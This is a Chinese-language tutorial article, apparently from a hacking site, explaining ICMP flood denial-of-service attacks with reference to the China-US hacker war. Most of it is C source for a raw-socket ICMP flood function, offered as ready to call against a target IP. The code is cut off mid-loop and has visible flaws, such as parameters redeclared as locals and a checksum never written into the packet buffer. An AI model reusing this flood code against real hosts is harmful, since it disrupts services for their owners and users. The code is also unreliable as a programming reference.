拒绝服务攻击（DoS）企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务，拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击，其技术手段大多不够高明。

　　ICMP实现拒绝服务攻击的途径有二：一者"单刀直入"，一者"借刀杀人"。具体过程分析如下：
　
　　ICMP FLOOD攻击

　　大量的 ICMP消息发送给目标系统，使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式，在主机"疯狂"地向攻击目标发送ICMP消息的时候，主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话，这种攻击就是"蚍蜉撼大树"。因此，ICMP FLOOD攻击为了达到很好的效果，往往要联合多台机器同时攻击同一台机器，从而形成分布式拒绝服务攻击（DDoS）。

　　调用下面的程序可实现ICMP Flood攻击：

int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
　int datasize, ErrorCode;
　int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
　char SendBuf[65535] = { 0 };
　WSADATA wsaData;
　SOCKET SockRaw = (SOCKET)NULL;
　struct sockaddr_in DestAddr;
　ICMP_HEADER icmp_header;

　if (PacketSize > 65500)
　{
　　return FALSE;
　}

　if (type > 16)
　{
　　return FALSE;
　}

　if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
　{
　　return FALSE;
　}

　if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
　{
　　return FALSE;
　}

　ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
　if (ErrorCode == SOCKET_ERROR)
　{
　　return FALSE;
　}

　printf("Starting...\n\n");
　memset(&DestAddr, 0, sizeof(DestAddr));
　DestAddr.sin_family = AF_INET;
　DestAddr.sin_addr.s_addr = inet_addr(DestIp);

　icmp_header.i_type = type;
　icmp_header.i_code = code;
　icmp_header.i_cksum = 0;
　icmp_header.i_id = 2;
　icmp_header.timestamp = GetTickCount();
　icmp_header.i_seq = 999;
　memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
　memset(SendBuf + sizeof(icmp_header), 'E', PacketSize);
　icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);

　datasize = sizeof(icmp_header) + PacketSize;

　while (1)
　{
　　printf("Sending 1024 packets...\n");
　　for (counter = 0; counter < 1024; counter++)

推荐文章 ·洪水攻击原理及代码实现全攻略( ·原始套接字透析之综合实例：网络 ·原始套接字透析之实现IP地址欺骗 ·原始套接字透析之ARP欺骗 ·原始套接字透析之实现包分析 ·原始套接字透析之实现sniffer ·原始套接字透析之实现路由欺骗 ·原始套接字透析之实现Ping ·原始套接字透析之Raw Socket基础 ·黑客之旅 -- 原始套接字透析之前